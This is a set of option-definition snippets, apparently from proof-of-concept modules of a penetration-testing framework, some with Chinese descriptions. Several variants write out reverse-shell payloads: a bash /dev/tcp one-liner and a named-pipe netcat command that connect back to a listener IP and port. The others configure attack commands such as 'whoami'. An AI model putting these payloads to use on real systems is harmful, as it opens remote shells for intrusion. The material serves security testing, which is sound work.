def _options(self): o = OrderedDict() payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()), } o["command"] = OptDict(selected="bash", default=payload) return o
def _options(self): o = OrderedDict() payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["command"] = OptDict(selected="bash", default=payload) return o
def _options(self): o = OrderedDict() payload = { "nc": "rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p", "bash": "bash -i >& /dev/tcp/{0}/{1} 0>&1", } o["command"] = OptDict(selected="bash", default=payload) return o
def _options(self): o = OrderedDict() o["command"] = OptString("whoami") o["version"] = OptItems(['2.x', '3.x', 'Auto'], selected="Auto") payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["payload"] = OptDict(default=payload, selected="bash") return o
def _options(self): o = OrderedDict() o["command"] = OptString("whoami", description='攻击时自定义命令') o["app_version"] = OptItems(['2.x', '3.x', 'Auto'], selected="Auto", description='目标版本,可自动匹配') payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["payload"] = OptDict(default=payload, selected="bash") return o
def _options(self): o = OrderedDict() o["cmd"] = OptString('touch /tmp/success', description='需要用户输入执行的命令', require=True) payload = { "nc": REVERSE_PAYLOAD.NC, "bash": """bash -i >& /dev/tcp/{0}/{1} 0>&1""", "java": REVERSE_PAYLOAD.JAVA, } o["command"] = OptDict(selected="bash", default=payload) return o